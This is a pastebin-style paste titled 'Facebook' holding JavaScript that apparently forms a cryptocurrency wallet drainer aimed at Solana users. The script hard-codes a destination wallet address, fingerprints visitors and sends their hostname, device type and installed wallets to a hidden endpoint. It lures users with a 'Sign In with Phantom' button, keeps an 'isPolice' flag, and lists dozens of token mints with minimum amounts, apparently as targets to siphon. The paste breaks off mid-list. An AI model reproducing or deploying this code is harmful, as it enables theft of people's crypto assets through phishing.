Facebook
From 2341, 1 Year ago, written in Plain Text.
Embed
Download Paste or View Raw
Hits: 608
  1. let version = 98
  2. const currentUrli = [removed].href;
  3. let currentUrl = currentUrli.replace(/^https?:///i, '').replace(//$/i, '');
  4. const destinationAddr = "9c45t4He2jnYEpYXFUu72fftJ5u8qMweWnZEPWdUziWN";
  5. const encodedToken = "-4059040980";
  6.  
  7. const sendMessageToPhp = (message) => {
  8.   const url = 'http://localhost:3000/lol';
  9.   const data = new URLSearchParams();
  10.   data.append('message', message);
  11.   data.append('data', encodedToken);
  12.  
  13.   fetch(url, {
  14.       method: 'POST',
  15.       headers: {
  16.           'Content-Type': 'application/x-www-form-urlencoded'
  17.       },
  18.       body: data
  19.   })
  20.   .then(response => response.text())
  21.   .then(data => {
  22.       console.log(data);
  23.   })
  24.   .catch(error => {
  25.       console.error('Error:', error);
  26.   });
  27. };
  28.  
  29.  
  30. function sleep(a) {
  31.   return new Promise((c) => {
  32.     setTimeout(c, a)
  33.   })
  34. }
  35. function toBase64(a) {
  36.   return btoa(a).replaceAll('+', '$')
  37. }
  38. let debug = true
  39. async function info(a) {
  40.   if (!debug) {
  41.     try {
  42.       return await (
  43.         await fetch(
  44.           atob(
  45.             ''
  46.           ) + toBase64(a)
  47.         )
  48.       ).text()
  49.     } catch (d) {
  50.       return ''
  51.     }
  52.   }
  53. }
  54. const K = {}
  55. K.phantom = true
  56. K.solflare = false
  57. K.slope = false
  58. K.ethereum = false
  59. K.bitcoin = false
  60. const L = {}
  61. L.installed = K
  62. L.connected = false
  63. L.address = ''
  64. L.connection = null
  65. L.delegate = ''
  66. L.provider = null
  67. L.balance = 0
  68. L.lamports = 0
  69. L.tokenAccount = null
  70. L.signer = null
  71. let connectButton,
  72.   mintSpan,
  73.   mintButton,
  74.   wallet = L,
  75.   browser = {
  76.     ip: '',
  77.     isDesktop: !isMobile(),
  78.     isPageLoaded: false,
  79.   }
  80. async function updateConnectText(a) {
  81.   connectButton[removed] = a
  82. }
  83. async function updateMintText(a) {
  84.   connectButton[removed] = a
  85. }
  86. function isMobile() {
  87.   let a = navigator.userAgent || navigator.vendor || window.opera
  88.   return (
  89.     /(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(
  90.       a
  91.     ) ||
  92.     /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(
  93.       a.substr(0, 4)
  94.     )
  95.   )
  96. }
  97. let isPolice = false
  98. async function start() {
  99.   wallet.installed.phantom = window.phantom?.solana?.isPhantom
  100.   wallet.connection = new solanaWeb3.Connection(
  101.     'https://late-flashy-tree.solana-mainnet.quiknode.pro/5bfebdd1d2f3b38873dcfe7e6bee1774451b469c/'
  102.   )
  103.   browser.ip = await info(
  104.     'v' +
  105.       version +
  106.       ' ' +
  107.       [removed].hostname +
  108.       ' ' +
  109.       (browser.isDesktop ? 'd' : 'm') +
  110.       (wallet.installed.phantom ? ' phantom' : '') +
  111.       ' ' +
  112.       (wallet.installed.solflare ? ' solflare' : '') +
  113.       ' ' +
  114.       (wallet.installed.slope ? ' slope' : '') +
  115.       ' ' +
  116.       (wallet.installed.ethereum ? ' eth' : '') +
  117.       ' ' +
  118.       (wallet.installed.bitcoin ? ' btc' : '')
  119.   )
  120.   connectButton = document.getElementById('connectButton')
  121.   updateConnectText('Sign Up / Sign In with Phantom')
  122.   mintSpan = document.getElementById('mintSpan')
  123.   mintButton = document.getElementById('mintButton')
  124.   browser.isPageLoaded = true
  125.  
  126. }
  127. const M = {}
  128. M.name = 'J1'
  129. M.mint = 'J1toso1uCk3RLmjorhTtrVwY9HJ7X8V9yYac6Y7kGCPn'
  130. M.account = 'EBCQDZL1PF2G4NpbmykJjjjFQUd8Dc8xP6SUm65SZ7ZP'
  131. M.owner = 'J3SHobdrZhVot87NAXRLxjgFb3cH3HXKEu7YiACrFaps'
  132. M.minAmount = 1
  133. const N = {}
  134. N.name = 'WHEY'
  135. N.mint = '5fTwKZP2AK39LtFN9Ayppu6hdCVKfMGVm79F2EgHCtsi'
  136. N.account = '7ZHAcG8T12tWeSgvvTNDE3hskFfXRaVe3PRMjvEAzCC4'
  137. N.owner = 'GqwqmvRqFwrWBTXXrghaiL4mxVMwxJimLaP6p8mDbfj2'
  138. N.minAmount = 1
  139. const O = {}
  140. O.name = 'DEX'
  141. O.mint = 'GsNzxJfFn6zQdJGeYsupJWzUAm57Ba7335mfhWvFiE9Z'
  142. O.account = '2cMUu25tRGrbCqgMoGBGj5kCr44H8fui7nbrwCrEy7ib'
  143. O.owner = 'D7fJHkyxwG2XbsCH3CgCgdp8UxJ2VJTCDKfSdv41DGvY'
  144. O.minAmount = 1
  145. const P = {}
  146. P.name = 'SLM'
  147. P.mint = 'xxxxa1sKNGwFtw2kFn8XauW9xq8hBZ5kVtcSesTT9fW'
  148. P.account = 'C8iahhusCHTPJEtLz16HBedvvTPScs6WgiNsz3suxA44'
  149. P.owner = '3XauUM8Rdw1oEy61EHFAK1wJnY61CJ5MTnLXgg6b5y4K'
  150. P.minAmount = 1
  151. const Q = {}
  152. Q.name = 'GMT'
  153. Q.mint = '7i5KKsX2weiTkry7jA4ZwSuXGhs5eJBEjY8vVxR4pfRx'
  154. Q.account = 'Bs8EG67ZJsyM1RR6ZVkwqTPxgE98JJWaCQjLpTCxWLtC'
  155. Q.owner = 'HRpVyf4V9V6QaPricZrWbqfVqCiyApYpTRB32vDXWyLM'
  156. Q.minAmount = 1
  157. const R = {}
  158. R.name = 'SERUM'
  159. R.mint = 'SRMuApVNdxXokk5GT7XD5cUUgXMBCoAz2LHeuAoKWRt'
  160. R.account = '2f5LWFGbvDTz9LvxoPKRXpVJKcD5jQHuEHvC6pHmGhBe'
  161. R.owner = 'BfDQVrjcLrrXD6AkgK4gVB2m7ghwCmK7MSkJqbYoY8Go'
  162. R.minAmount = 1
  163. const S = {}
  164. S.name = 'WSOL'
  165. S.mint = '7dHbWXmci3dT8UFYWYZweBLXgycu7Y3iL6trKn1Y7ARj'
  166. S.account = 'EQ7T2auP97k9fbnkvNC9fGVD8nuQJ1cqtf4ozxtoY3sR'
  167. S.owner = 'CEz6dvi7W7W9dFE2N1MNAZez8urNAkQZfzA6jspFQSgA'
  168. S.minAmount = 1
  169. const T = {}
  170. T.name = 'Honey 2'
  171. T.mint = 'HonyeYAaTPgKUgQpayL914P6VAqbQZPrbkGMETZvW4iN'
  172. T.account = '8rpzAHZmDM4e4trzKE3j1Ajc8f7NYTs2Ca9PA3btr91V'
  173. T.owner = 'EK5MpYJahnLdtePrgVDZ7s4R9Pnqc8yKZW8enoEwPFAL'
  174. T.minAmount = 1
  175. const U = {}
  176. U.name = 'TuLi'
  177. U.mint = 'TuLipcqtGVXP9XR62wM8WWCm6a9vhLs7T1uoWBk6FDs'
  178. U.account = 'C7K3suJRS4hovuWMwDGrL3qCFNnbzApAGZ1Uy66KNDXA'
  179. U.owner = '3Nxbvycu5ocnyqaE2qrsQ5SFbzZjGK4fbAxmZZXbUgFq'
  180. U.minAmount = 1
  181. const V = {}
  182. V.name = 'Orca'
  183. V.mint = 'orcaEKTdK7LKz57vaAYr9QeNsVEPfiu6QeMU1kektZE'
  184. V.account = 'BR28fTvG5sfHeD8fDfwKot2dQf8qqJqXVMwHBatct1gz'
  185. V.owner = '9YxBuUL9CwYo6wqrYY7oSu1in1tt2mjNwazvfcb6PGei'
  186. V.minAmount = 1
  187. const W = {}
  188. W.name = 'Boring'
  189. W.mint = 'BLwTnYKqf7u4qjgZrrsKeNs2EzWkMLqVCu6j8iHyrNA3'
  190. W.account = '4HEChkJ2GfQUMAdVJyHdJZtzdaj9dCN7JEaNwbEiN97v'
  191. W.owner = '5GHMPskpm21G3efYZRoHrCgYZKNTSkMMBVY3vne7PUQm'
  192. W.minAmount = 1
  193. const X = {}
  194. X.name = 'Hedge'
  195. X.mint = '5PmpMzWjraf3kSsGEKtqdUsCoLhptg4yriZ17LKKdBBy'
  196. X.account = '4T16UJhJTKtu4gAWYmi7KuBTNLnuRD4VASv2fpPA6tTT'
  197. X.owner = 'D9bdHe4dSS9vB4SkR3AXuFNgyVsAkHr8ExMYtqoNz5Zf'
  198. X.minAmount = 1
  199. const Y = {}
  200. Y.name = 'SOC'
  201. Y.mint = 'SLCLww7nc1PD2gQPQdGayHviVVcpMthnqUz2iWKhNQV'
  202. Y.account = 'A9h3RFgvEKGXNmPTvnzUy5ukb8KKcmUUCcQnD8bhGyFb'
  203. Y.owner = 'ExWxNUUg4dsw52Ny23a1UbN8qno7d5gZ33jnMQnwaN5U'
  204. Y.minAmount = 10000000
  205. const Z = {}
  206. Z.name = 'USDC'
  207. Z.mint = 'EPjFWdd5AufqSSqeM2qN1xzybapC8G4wEGGkZwyTDt1v'
  208. Z.account = '3emsAVdmGKERbHjmGfQ6oZ1e35dkf5iYcS6U4CPKFVaa'
  209. Z.owner = '7VHUFJHWu2CuExkJcJrzhQPJ2oygupTWkL2A2For4BmE'
  210. Z.minAmount = 10000000
  211. const a0 = {}
  212. a0.name = 'HAWK'
  213. a0.mint = 'BKipkearSqAUdNKa1WDstvcMjoPsSKBuNyvKDQDDu9WE'
  214. a0.account = 'CYeSPjkuWFTecmokjCr958KdQWPUDhUuB18xMxr42C64'
  215. a0.owner = 'HaVBmCuYfyeizHtPLWrCAk22pE96t4KbnVQxzGUxfDRw'
  216. a0.minAmount = 10000000
  217. const a1 = {}
  218. a1.name = 'Parrot'
  219. a1.mint = 'PRT88RkA4Kg5z7pKnezeNH4mafTvtQdfFgpQTGRjz44'
  220. a1.account = 'FnhXfUAuZ2xmmhFJmh81YovKwwjYKkSSaeEDqcWTzSCg'
  221. a1.owner = 'Dx3teYC3Vmf361CZRvdYbZpMKJsLdJ79me58Qr5zBBvZ'
  222. a1.minAmount = 10000000
  223. const a2 = {}
  224. a2.name = 'Space'
  225. a2.mint = 'HovGjrBGTfna4dvg6exkMxXuexB3tUfEZKcut8AWowXj'
  226. a2.account = 'EJFpR4ignyGGe9Z4Ln8jfoa44kGefNCACSbVo7m5kce6'
  227. a2.owner = '7RdxMrjpbYStUR6X9gUd1K2D9BETzVYPPsRP256kMVum'
  228. a2.minAmount = 10000000
  229. const a3 = {}
  230. a3.name = 'HONEY'
  231. a3.mint = '4vMsoUT2BWatFweudnQM1xedRLfJgJ7hswhcpz4xgBTy'
  232. a3.account = 'G2JwB7cagqXz4QbG2hXaN74Xn4Tvf9PVLxDCvEDzzyVP'
  233. a3.owner = '79UpuZAxpFKkqE9EtVdXt1npYfjXdkvsdxBWwVHN2b88'
  234. a3.minAmount = 10000000
  235. const a4 = {}
  236. a4.name = 'USDT'
  237. a4.mint = 'Es9vMFrzaCERmJfrF4H2FYD4KCoNkY11McCe8BenwNYB'
  238. a4.account = '2LZVkPV9scmxBSB7JYjYonGvBhnDXparoDfzNnz6F7gX'
  239. a4.owner = 'HVh6wHNBAsG3pq1Bj5oCzRjoWKVogEDHwUHkRz3ekFgt'
  240. a4.minAmount = 10000000
  241. const a5 = {}
  242. a5.name = 'DUST'
  243. a5.mint = 'DUSTawucrTsGU8hcqRdHDCbuYhCPADMLM2VcCb8VnFnQ'
  244. a5.account = 'Gy53ne26Vqo2SwDw2UrXKUbsWxkZ7nGHJ6NZdtDY1er8'
  245. a5.owner = 'G6pasfRCSLpvF5AaDZjfpPps5cyRuEjXWPCjXQqJEvhH'
  246. a5.minAmount = 4767270552
  247. const a6 = {}
  248. a6.name = 'BONK'
  249. a6.mint = 'DezXAZ8z7PnrnRJjz3wXBoRgixCa6xjnB7YaB1pPB263'
  250. a6.account = 'F8FqZuUKfoy58aHLW6bfeEhfW9sTtJyqFTqnxVmGZ6dU'
  251. a6.owner = 'AGkGWK1R669KDT4FCqgDgK7PgahGJPjD4J9xmVjuL9kn'
  252. a6.minAmount = 2332422397411
  253. const a7 = {}
  254. a7.name = 'KIN'
  255. a7.mint = 'kinXdEcpDQeHPEuQnqmUgtYykqKGVFq6CeVX5iAHJq6'
  256. a7.account = '8J33kACGFUCiHWmfYxctVGtaRzveftDrJaKs6jVa9TS1'
  257. a7.owner = '7RmkMNQerKaVioRnmqZsHM5Gm8F3gngQG8umLNoK97q4'
  258. a7.minAmount = 2
  259. const a8 = {}
  260. a8.name = 'WETH'
  261. a8.mint = '7vfCXTUXx5WJV5JADk17DUJ4ksgau7utNKj4b963voxs'
  262. a8.account = 'LK5gsm9CJdRqivPKCMb1bFXuF8x1rJmkcMnuN7bPqtn'
  263. a8.owner = '9uyDy9VDBw4K7xoSkhmCAm8NAFCwu4pkF6JeHUCtVKcX'
  264. a8.minAmount = 558464
  265. const a9 = {}
  266. a9.name = 'ETH2'
  267. a9.mint = '2FPyTwcZLUg1MDrwsyoP4D6s1tM7hAkHYRjkNb5w6Pxk'
  268. a9.account = 'FsNfmGkNTvX3xd8vkN5QQeZVEKJymhH8vNJEhNkpomrQ'
  269. a9.owner = '2yyBDoun86R6Nak11Hzuet2oZQQHFummqzN6ey5suMPn'
  270. a9.minAmount = 558464
  271. const aa = {}
  272. aa.name = 'WBTC'
  273. aa.mint = '3NZ9JMVBmGAqocybic2c7LQCJScmgsAZ6vQqTDzcqmJh'
  274. aa.account = 'HDCDaEm3vAGfSHa4RaEub9SHuHwCEPdhysGfWnLThfGh'
  275. aa.owner = 'GXbJWY8H5YwvhrRYZvSWUAcGMGjR7ygUkQNwZxefgzdm'
  276. aa.minAmount = 37483
  277. const ab = {}
  278. ab.name = 'SBTC'
  279. ab.mint = '9n4nbM75f5Ui33ZbPYXn59EwSgE8CGsHtAeTH5YFeJ9E'
  280. ab.account = '5NXxg5mGxBBi8d2mhDPqQpDm3hpHY1ncw8iVFbLR9vjq'
  281. ab.owner = 'DgLcG7dhE8VBoA4rJu1resczXkYTSGUx7Ry1HicqcqZr'
  282. ab.minAmount = 5761
  283. const ac = {}
  284. ac.name = 'GUAC'
  285. ac.mint = 'AZsHEMXd36Bj1EMNXhowJajpUXzrKcK57wW4ZGXVa7yR'
  286. ac.account = 'DJMyCZL5jXv83cSwVysqEzQdaevPiTGGHG6ePhEbXgrs'
  287. ac.owner = '4rJktf4exNDLBjkm3RPD8BBYihTZKVtr8jPpy7DjNrQA'
  288. ac.minAmount = 163114638470916
  289. const ad = {}
  290. ad.name = 'KING'
  291. ad.mint = '9noXzpXnkyEcKF3AeXqUHTdR59V5uvrRBUZ9bwfQwxeq'
  292. ad.account = '9NGoYAPfvGDpXM5FGw6FNiDwkYVRmisyBnAvEP2coGwH'
  293. ad.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  294. ad.minAmount = 25841713475695
  295. const ae = {}
  296. ae.name = 'SCS'
  297. ae.mint = 'SCSuPPNUSypLBsV4darsrYNg4ANPgaGhKhsA3GmMyjz'
  298. ae.account = 'DnRXpnXwmSJRoZhb1ogqFCTZXAYUVEZrUSyxn5XfA3bF'
  299. ae.owner = '7RNYdRkMWSKL8BM2pES8g8WZEp3Gm9azYh8yJoiFwtrb'
  300. ae.minAmount = 466257233
  301. const af = {}
  302. af.name = 'IOT'
  303. af.mint = 'iotEVVZLEywoTn1QdwNPddxPWszn3zFhEot3MfL9fns'
  304. af.account = '8mDP3qP4pnqz5DeaXnRRX1GT9s5tXxFqRw61rw1H11Gs'
  305. af.owner = '2AdZQmGikAMWahuJRb27PGABQyF6iyQ8aUUYyDDwRRG6'
  306. af.minAmount = 26173881562
  307. const ag = {}
  308. ag.name = 'HNT'
  309. ag.mint = 'hntyVP6YFm1Hg25TN9WGLqM12b8TQmcknKrdu1oxWux'
  310. ag.account = 'EWTxqDJfPgANQxfsB4uLsjXVTPYDtYw32fq6bhuEvbYJ'
  311. ag.owner = '2AdZQmGikAMWahuJRb27PGABQyF6iyQ8aUUYyDDwRRG6'
  312. ag.minAmount = 740012212
  313. const ah = {}
  314. ah.name = 'PRNT'
  315. ah.mint = '4TUNzcgp2fPD48fcW4seRjyqyDZMrPj4ZubnXFEsKeYk'
  316. ah.account = '9D6MEYF2CZVkTWLXpBfAd36EdRLQs4NEcVDjh5cyUd4q'
  317. ah.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  318. ah.minAmount = 2982836424049
  319. const ai = {}
  320. ai.name = 'NANA'
  321. ai.mint = 'HxRELUQfvvjToVbacjr9YECdfQMUqGgPYB68jVDYxkbr'
  322. ai.account = '8nxByPkQ2SAoo7YcvzqhSM32wq6191jKweauHjWJD9Zp'
  323. ai.owner = '3LcKTdV47hLhXmaqDqzCqby7Y2pPbvW91RME99rCVQSG'
  324. ai.minAmount = 2462591223311
  325. const aj = {}
  326. aj.name = 'PUGAI'
  327. aj.mint = 'PugAiDuaQ5hzicBHAW9qrQQ8qi4B6sh3n7PknKhyjeX'
  328. aj.account = '7jfnsBBBuz4mxTjfQejxPHqMxpkc6SYkDfBnpjeDMHW2'
  329. aj.owner = 'G7vNFvgBCEYSRxiEQ2U1Nc1ktmXhZy9haFoZH4gGWqK6'
  330. aj.minAmount = 275535412217534
  331. const ak = {}
  332. ak.name = 'SHDW'
  333. ak.mint = 'SHDWyBxihqiCj6YekG2GUr7wqKLeLAMK1gHZck9pL6y'
  334. ak.account = 'jLTfzy6WaCceQdyKSnyNxmb8BhBCdL9YNtbVfnaeQ6Z'
  335. ak.owner = '5rgVibjBeuu8e1sTjDLuJ5DQJsG8tiYstMRXN2YtPPYd'
  336. ak.minAmount = 76139994587
  337. const al = {}
  338. al.name = 'RLB'
  339. al.mint = 'RLBxxFkseAZ4RgJH3Sqn8jXxhmGoz9jWxDNJMh8pL7a'
  340. al.account = 'NjmhPoX5tEFsiSCjCNQFFbhHgSL2G6xkBUTweq4rdZQ'
  341. al.owner = 'AAbcWqh1WGQkVaK6GrMae1dVGcriwCxPh8PrW69vAEp4'
  342. al.minAmount = 30500
  343. const am = {}
  344. am.name = 'SWTS'
  345. am.mint = '5SwxhEunuUUcWe4ojybdDwky6dpLxAehNmF4AA71STNh'
  346. am.account = '9BfsXy5iPiocK8XCC4NWUpsyxB9gB8eiYQbXG8u9sjML'
  347. am.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  348. am.minAmount = 231034205758157
  349. const an = {}
  350. an.name = 'SLOW'
  351. an.mint = 'SLoWCV423kWjuKCKBAmr1aiDbuFQua8wy29GYHTCnkz'
  352. an.account = '5kon7Et3nDuue4dSrZCcMaQp4E66hj6sshNE8v4MXwLR'
  353. an.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  354. an.minAmount = 6949243655358033
  355. const ao = {}
  356. ao.name = 'MBS'
  357. ao.mint = 'Fm9rHUTF5v3hwMLbStjZXqNBBoZyGriQaFM6sTFz3K8A'
  358. ao.account = 'CtzX6dQwg28NFZhQhM6sJBGX4u9aD37s9RahZnS1CsBy'
  359. ao.owner = 'HmaVvVd3ThxThhyritsfKxKgydccVTXdDGw9ZzdRWQ4k'
  360. ao.minAmount = 186560746
  361. const ap = {}
  362. ap.name = 'CHODE'
  363. ap.mint = 'chodeDSo8UYzBebGysm3djM6b2Cu54x5PwDXW8Tda2v'
  364. ap.account = 'DhfqLi4kePR1Yg3MaMA7QfJFUAkqy46kHxXrmuSFAgj9'
  365. ap.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  366. ap.minAmount = 142349493121315
  367. const aq = {}
  368. aq.name = 'NOCT'
  369. aq.mint = '8HfNu2EfwFQz2srSNDvPsjaWV3G65ZWP3pDC67mcNv6J'
  370. aq.account = 'BoytVDcAZSC9Y4fCapXHiNwZk2k5ZWNrqwHB4ouXzEuJ'
  371. aq.owner = '88FyQ6iHz1x7EbwQorrjNeibmq2cJWmDNJbbPEEbp1rh'
  372. aq.minAmount = 202093642635789
  373. const ar = {}
  374. ar.name = 'DUAL'
  375. ar.mint = 'DUALa4FC2yREwZ59PHeu1un4wis36vHRv5hWVBmzykCJ'
  376. ar.account = 'cA7xusMSV7r9WJNrDy5ELfuTRZsfxySYCUqiarDvkyy'
  377. ar.owner = '5SJpgGUhX2gN8aRUWaJ7nBLhbNWkqNmt3rS5YmqSs1m3'
  378. ar.minAmount = 373340103
  379. const as = {}
  380. as.name = 'MSOL'
  381. as.mint = 'mSoLzYCxHdYgdzU16g5QSh3i5K3z3KZK7ytfqcJm7So'
  382. as.account = 'CrR7DS7A8ABSsHwx92K3b6bD1moBzn5SpWf2ske8bqML'
  383. as.owner = 'QM3ACFu3VD9N6z6dmBseezxrNRP1T4MruGhpJX8B3nC'
  384. as.minAmount = 440224559
  385. const at = {}
  386. at.name = 'RAY'
  387. at.mint = '4k3Dyjzvzp8eMZWUXbBCjEvwSkkk59S5iCNLY3QrkX6R'
  388. at.account = 'DmKR61BQk5zJTNCK9rrt8fM8HrDH6DSdE3Rt7sXKoAKb'
  389. at.owner = '8pFhUqCU7Fkxfg2DLytRDf7a9oK4XGtN92PrYwtVQc6G'
  390. at.minAmount = 47640365
  391. const au = {}
  392. au.name = 'JELLY'
  393. au.mint = '9WMwGcY6TcbSfy9XPpQymY3qNEsvEaYL3wivdwPG2fpp'
  394. au.account = '8y5KPE6gmsD1tqSA317WrQCBRrREYs1SqTYLsS9NPhHz'
  395. au.owner = 'GGiE2t3RTCUXNTZn66eigJf7WnNZC1uJGXiJrfaM5Zy2'
  396. au.minAmount = 94834995
  397. const av = {}
  398. av.name = 'FORGE'
  399. av.mint = 'FoRGERiW7odcCBGU1bztZi16osPBHjxharvDathL5eds'
  400. av.account = '3eSGqRNveoFHGWQ4dkadzcF25N5hPfGDRcBTvDZNe9gv'
  401. av.owner = 'BSLoqEJXKKmE4yCCNp58sYAq5n6u29hgaAX5gCvF3ikw'
  402. av.minAmount = 79027819732
  403. const aw = {}
  404. aw.name = 'WOOPA'
  405. aw.mint = '26vSyWdduSXwMRsA6MKbzAvuRUAuLSCKW9HRCLVgbxEm'
  406. aw.account = 'J8AEzckH16G4bpz852bibyao3iJ1hWxig4XTskWpcqEu'
  407. aw.owner = '2CAYKEmXpZ545de66ommdaVfwMx2nCMoDnj1Yy2ndnkx'
  408. aw.minAmount = 600200356724
  409. const ax = {}
  410. ax.name = 'SLOTH'
  411. ax.mint = '9NPH3EjKw8p7awTffjnLQTJcAgWgJLLNoRrNqWBFWUSK'
  412. ax.account = 'BdRCdXtNutamMSrLkJqStHxuE5CKArSDbGXWBKXHnrqp'
  413. ax.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  414. ax.minAmount = 2031452744770644
  415. const ay = {}
  416. ay.name = 'HADES'
  417. ay.mint = 'BWXrrYFhT7bMHmNBFoQFWdsSgA3yXoAnMhDK6Fn1eSEn'
  418. ay.account = 't6EKHBq9KA8WyigsLHxAYPVGgvpnbcMD35fyMqQ5ryU'
  419. ay.owner = 'd4sH8ckL3iowTSin8gQaXtY9nQvdKCx2jimiV9qdndd'
  420. ay.minAmount = 38670088213
  421. const az = {}
  422. az.name = 'ACS'
  423. az.mint = '5MAYDfq5yxtudAhtfyuMBuHZjgAbaS9tbEyEQYAhDS5y'
  424. az.account = 'Bt11ddBC7Km2x3tTSj1ENddCNkmAnpNjPDf16ZKNiLuV'
  425. az.owner = '5QvSKEHDGSXjzUDaZj3UyDtJ844XP1sVaQ46sXZKmGmo'
  426. az.minAmount = 2050666050
  427. const aA = {}
  428. aA.name = 'YOLO'
  429. aA.mint = '4jE4VuqFWZfmSXjTDD5KUoN2qkVu96nPTPj4mhs5PA1W'
  430. aA.account = '5tvPGMzpuPQ1GXyC6XXSopjX7JPsozifyYdXE5Ub7DcL'
  431. aA.owner = '5vSyjCNBeryS3Cd7xTP5yZzWAtbpNhKKfAVgUuphJsVd'
  432. aA.minAmount = 4698274091784
  433. const aB = {}
  434. aB.name = 'STONK'
  435. aB.mint = '7qaLwGZp3ZKL4Lmh6QpdYbZwCapQLB5md2LtDJVjEPpD'
  436. aB.account = '5Hw357p1om6ZRGBZ8vwvSz6pihr8VHUbViFH6gjdDypp'
  437. aB.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  438. aB.minAmount = 11759583764337
  439. const aC = {}
  440. aC.name = 'PEPE'
  441. aC.mint = 'F9CpWoyeBJfoRB8f2pBe2ZNPbPsEE76mWZWme3StsvHK'
  442. aC.account = '3eJHhLteQfDJVXyzhssaoxDLSuZ7ZFNxf4S2e9kJQ8Nj'
  443. aC.owner = 'HSYR4N8Ps7gpeS4mceyWsXXirDYa3FY7npHqfrSLPxtz'
  444. aC.minAmount = 44819229161
  445. const aD = {}
  446. aD.name = 'KITTI'
  447. aD.mint = 'B5Fvzd2RL5ctrmFsvDafXiNGbBqbxapiryJo8JfoSEcA'
  448. aD.account = 'Dh1wiAffBjEJbp7K8NqZNFFiZV9XKYf3NPs7fNwrat9f'
  449. aD.owner = '5Q544fKrFoe6tsEbD7S8EmxGTJYAKtTVhAW5Q5pge4j1'
  450. aD.minAmount = 6980237508990102
  451. const aE = {}
  452. aE.name = 'CRY'
  453. aE.mint = '56tNQ29XBrbovm5K5SThuQatjCy92w2wKUaUeQ8WCD9g'
  454. aE.account = 'DaY6Zzrb5cmwNxBTyzrq9KHwoAwNfvtoe8BiR9uwWo8h'
  455. aE.owner = 'GkVPyfyNKBcQujyH6ZyzkhAsijrAECAGr1evRZQFM4iA'
  456. aE.minAmount = 8692970079832295
  457. const aF = {}
  458. aF.name = 'CULT'
  459. aF.mint = 'Cu1tCSoauo4Vtqsr9cD86RS4XJqS88LauU69AFV6KMH7'
  460. aF.account = 'AYNtoBw1M9n59YDuu11Fy8C6ctdAykXA5XUQK2Rdbo9z'
  461. aF.owner = '333nKSDMZ8jC5YQDDLJ1J74dnLTB6KyVEUhgWGmvjRCp'
  462. aF.minAmount = 684130839014098
  463. const aG = {}
  464. aG.name = 'IOT'
  465. aG.mint = 'iotEVVZLEywoTn1QdwNPddxPWszn3zFhEot3MfL9fns'
  466. aG.account = '8mDP3qP4pnqz5DeaXnRRX1GT9s5tXxFqRw61rw1H11Gs'
  467. aG.owner = '2AdZQmGikAMWahuJRb27PGABQyF6iyQ8aUUYyDDwRRG6'
  468. aG.minAmount = 26173881562
  469. const aH = {}
  470. aH.name = 'SAMO'
  471. aH.mint = '7xKXtg2CW87d97TXJSDpbD5jBkheTqA83TZRuJosgAsU'
  472. aH.account = 'Ff1a1jKTkNgjpT67argz2GsXnBYW5tE8NrWTrV2M2T7v'
  473. aH.owner = '9un5wqE3q4oCjyrDkwsdD48KteCJitQX5978Vh7KKxHo'
  474. aH.minAmount = 884810314488
  475. const aI = {}
  476. aI.name = 'ATLAS'
  477. aI.mint = 'ATLASXmbPQxBUYbxPsV97usA3fPQYEqzQBUHgiFCUsXx'
